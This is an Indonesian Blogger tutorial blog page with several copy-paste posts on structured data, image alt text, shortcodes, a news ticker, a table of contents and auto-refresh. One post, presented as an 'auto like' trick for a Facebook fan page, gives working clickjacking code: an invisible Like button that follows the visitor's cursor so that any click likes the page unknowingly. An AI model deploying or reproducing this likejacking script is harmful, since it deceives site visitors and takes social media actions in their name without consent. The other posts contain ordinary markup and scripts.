Pengenalan Data Terstruktur

search console SEO

Pengenalan Data Terstruktur

upet 6:41 AM Komentar

Data terstruktur mengacu pada jenis data dengan tingkat tinggi organisasi, seperti informasi dalam sebuah database relasional. Ketika informasi yang sangat terstruktur dan dapat diprediksi, search engine dapat lebih mudah mengatur dan menampilkannya dalam cara-cara kreatif. Data terstruktur markup adalah organisasi berbasis teks dari data yang disertakan dalam file dan disajikan dari web. Ini biasanya menggunakan kosakata schema.org-upaya masyarakat terbuka untuk meningkatkan standar data terstruktur dalam berbagai aplikasi online.

Data terstruktur markup paling mudah diwakili dalam format JSON-LD, yang adalah singkatan untuk JavaScript Object Notation Data terkait. Berikut ini adalah contoh data terstruktur JSON-LD sederhana yang mungkin Anda gunakan untuk informasi kontak untuk perusahaan Anda:

 

<script type="application/ld+json">
{
  "@context": "http://schema.org",
  "@type": "Organization",
  "url": "http://www.your-company-site.com",
  "contactPoint": [{
    "@type": "ContactPoint",
    "telephone": "+1-401-555-1212",
    "contactType": "customer service"
  }]
}
</script>

Data terstruktur markup menjelaskan hal-hal di web, bersama dengan sifat-sifat mereka. Misalnya, jika situs Anda bertema resep, Anda bisa menggunakan markup untuk menggambarkan properti untuk setiap resep, seperti ringkasan, URL foto untuk hidangan, dan rating keseluruhan dari pengguna.

 

Ketika Anda memberikan data terstruktur markup untuk konten online Anda, Anda membuat konten yang layak untuk ditampilkan dalam dua kategori fitur pencarian Google:

Kaya pencaharian — data terstruktur untuk hal-hal seperti resep, artikel, dan video dapat muncul dalam kartu kaya, sebagai satu elemen atau daftar item. Jenis lain dari data terstruktur dapat meningkatkan penampilan situs Anda dalam pencarian, seperti remah roti, atau kotak pencarian Sitelinks.

Kartu grafik pengetahuan — jika Anda otoritas untuk konten tertentu, Google dapat memperlakukan data yang telah terstruktur di situs Anda sebagai faktual dan impor ke grafik pengetahuan, mana itu dapat kekuatan  dalam pencarian di halaman depan dan di properti Google. Kartu grafik pengetahuan muncul untuk data yang berbobot tentang organisasi, dan peristiwa. Ulasan Film, dan film musik bermain tindakan, sementara berdasarkan peringkat, juga dapat muncul dalam pengetahuan grafik kartu setelah mereka didamaikan kepada pengetahuan grafik entitas

 

 

Baca selengkapnya

Cara Menambah Auto Like Funpage Facebook Di Blog

tutorial

Cara Menambah Auto Like Funpage Facebook Di Blog

upet 8:12 AM Komentar

Kali ini saya akan share script auto like funpage facebook lewat blog, Caranya cukup mudah loh, Pertama buka template lalu klik edit HTML selanjutnya Copy Paste script di bawah lalu letakkan di atas  ]]></b:skin>

.fb-like {opacity:0.0;}

selanjutnya copy paste lagi script di bawah kemudian di letakkan di atas </body>

<script type='text/javascript'>
//<![CDATA[
$(document).ready(function () {
  $(document).mousemove(function (e) {
      $('.fb-like').offset({
          left: e.pageX + -40,
          top: e.pageY + -10
      });
  });
});
//]]>
</script>
<div class='fb-like' data-action='like' data-href='https://facebook.com/bangwill.info' data-layout='button' data-share='false' data-show-faces='false' data-width='1'/>

selanjutnya sisa klik simpan template, cukup mudah kan? selamat berexperimen

Baca selengkapnya

Cara Optimasi Gambar Postingan Secara Otomatis

seo friendly tutorial

Cara Optimasi Gambar Postingan Secara Otomatis

upet 3:01 AM Komentar

Cara Optimasi Gambar Postingan Secara Otomatis sangat berguna untuk mempercepat membuat postingan terutama postingan yang banyak mengandung unsur gambar, tapi dengan menggunakan script ini anda tidak perlu repot lagi memberi descripsi secara manual setiap gambar karena cript ini akan memberi descripsi gambar secara otomatis biar lebih SEO.

Dengan terdescripsinya gambar otomatis menambah nilai plus mata mesin pencaharian, terutama pencaharian gambar. banyak orang menganggap gambar tidak terlalu penting, buat saya jauh beda sedikit apapun pengaruhnya tetep ada nilainya di mata mesin pencaharian.

oke lah klo begitu kita langsung saja ke tahap pengerjaann. untuk pengerjaan nya boleh di bilang sangat simple cuku copy pastekan script di bawah ini ke template tepatnya di antara <body> dan </body>

code script

<script type='text/javascript'>
//<![CDATA[
$(document).ready(function() {
$('img').each(function(){
var $img = $(this);
var filename = $img.attr('src')
$img.attr('alt', filename.substring((filename.lastIndexOf('/'))+1, filename.lastIndexOf('.')));
});
});
//]]>
</script>
<script type='text/javascript'>
//<![CDATA[
$(document).ready(function() {
$('img').each(function(){
var $img = $(this);
var filename = $img.attr('src')
$img.attr('title', filename.substring((filename.lastIndexOf('/'))+1, filename.lastIndexOf('.')));
});
});
//]]>
</script>
<script type='text/javascript'>
//<![CDATA[
var scrollTimer = null;
$(window).scroll(function() {
   var viewportHeight = $(this).height(),
       scrollbarHeight = viewportHeight / $(document).height() * viewportHeight,
       progress = $(this).scrollTop() / ($(document).height() - viewportHeight),
       distance = progress * (viewportHeight - scrollbarHeight) + scrollbarHeight / 2 - $('#scroll').height() / 2;
    $('#scroll')
        .css('top', distance)
        .text(' (' + Math.round(progress * 100) + '%)')
        .fadeIn(100);
    if (scrollTimer !== null) {
        clearTimeout(scrollTimer);
    }
    scrollTimer = setTimeout(function() {
        $('#scroll').fadeOut();
    }, 1500);
});
//]]>
</script> 

Baca selengkapnya

ShortCodes Untuk Postingan Blog

tutorial

ShortCodes Untuk Postingan Blog

upet 2:38 AM Komentar

Drop Caps

<span class="first-letter">Your First Letter here</span>

Blockquote

Untuk membuat Blockquote cukup pilih semua teks yang Anda ingin menjadi Kutipan dan klik pada icon Kutipan dari posting blog panel editor teks.

Buttons
Menambahkan demo dan download button.

<div style="text-align: center;">
<ul class="button">
<li><a class="demo" href="YOUR-LINK-HERE" target="_blank">DEMO</a></li>
<li><a class="download" href=" YOUR-LINK-HERE" target="_blank">DOWNLOAD</a></li>
</ul>
</div>
<div class="clear"></div>

Spoiler

<div id="flippy"><button>Spoiler</button></div> <div id="flippanel"> --- TAMBAHKAN KONTEN DISINI --- </div>

Membagi konten post menjadi tiga

<div class="bagitiga">
--- TAMBAHKAN KONTEN DISINI ---
</div>

 Memasang Table di postingan

<table cellpadding="0" cellspacing="0" style="text-align: left;">
    <tbody>
        <tr>
            <th>Table Header 1</th>
            <th>Table Header 2</th>
            <th>Table Header 3</th>
        </tr>
        <tr>
            <td>Division 1</td>
            <td>Division 2</td>
            <td>Division 3</td>
        </tr>
        <tr>
            <td>Division 1</td>
            <td>Division 2</td>
            <td>Division 3</td>
        </tr>
        <tr>
            <td>Division 1</td>
            <td>Division 2</td>
            <td>Division 3</td>
        </tr>
    </tbody>
</table>

Baca selengkapnya

Cara Masang Widget Breaking News di Blogger

tutorial widget

Cara Masang Widget Breaking News di Blogger

upet 3:51 AM Komentar

Cara Masang Widget Breaking News di Blogger - widget ini sangat cocok untuk blog yang ber thema kan berita tapi bisa juga di terapkan untuk blog lainnya untuk keperluan menyampaikan info penting ke pengjung blog.

 

oke lah kita langsug ajha ya

• login ke blog seperti biasa
• pilih blog yang akan di pasangin widget (klo memiliki banyak blog)
• setelah itu pilih template >> Edit HTML
•  copy paste code di bawah ke tempat sebelum  ]]></b:skin> atau
  </style>

/* CSS News Ticker */
.ticker-wrap{display:block;text-align:center;margin:0 20px 20px 20px;padding:2px;background:#fefefe;border:1px solid rgba(0,0,0,0.1);border-left:5px solid #3cc091}
.ticker-wrap>span{display:inline-block;background:#fefefe;padding:0;font:700 13px 'roboto',sans-serif}
.ticker-wrap>span>a{color:#222;text-decoration:none}
#ticker{height:45px;overflow:hidden;background:#fefefe;text-align:left}
#ticker ul{padding:0;margin:0;list-style:none}
#ticker ul li{height:45px;white-space:nowrap}
#ticker ul li img{float:left;width:35px;height:35px;margin:5px 7px 5px 5px}
#ticker ul li h3{margin:0;font:700 16px 'roboto',sans-serif}
#ticker ul li h3 a{color:#333;text-decoration:none;line-height:25px!important}
#ticker ul li .tickermeta{font:400 13px 'roboto',sans-serif;line-height:20px!important;color:#999}

jangan lupa di sesuaikan font, warna dan lainnya sesuai dengan blog kalian ya.

• selanjutnya copy paste lagi script di bawah dan letakkan di antara <body> dan </body>

<div class='ticker-wrap' data-domain='freethemes.com'>
<div id='ticker'>
</div>
</div>

 jangan lupa gnati nama domain atau blog sesua dengan alamat blog kalian, good luck guys

Baca selengkapnya

Cara Buat Daftar Isi Automatis Blogger

tutorial

Cara Buat Daftar Isi Automatis Blogger

upet 5:22 AM Komentar

Cara Buat Daftar Isi Automatis Blogger sangat mudah sekali cuku dengan membuat page seperti bisa terus klik HTML dan copy paste script yang ada di bawah

<div dir="ltr" style="text-align: left;" trbidi="on">
<div align="center">
<span style="font-size: large;"><b><span style="color: black;">Daftar Isi</span></b></span></div>
<script src="http://my-sitemap-dbb.googlecode.com/files/dbbsitemap.js">
</script>
<script src="http://www.freethemes.click/feeds/posts/default?max-results=9999&amp;alt=json-in-script&amp;callback=loadtoc">
</script></div>

 jangan lupa ganti freethemes.click(yang di bold) dengan domain kamu sendiri

penampakan daftar isi

Baca selengkapnya

Cara Masang Auto Refresh Pada Blog

tutorial

Cara Masang Auto Refresh Pada Blog

upet 5:59 PM Komentar

Cara Masang Auto Refresh Pada Blog sangat simple, ikuti langkah-langkah berikut

• login ke blog
• buka template
• klik edit HTML
• kemudian cari <head>
• lalu copy kode brikut
  

  <meta content='800' http-equiv='refresh'/>

cukup mudah kan? silahkan di coba
maksud content='800' artinya akan di refresh tiap 800 detik, silahkan di sesuaikan dengan keinginan masing-masig

Baca selengkapnya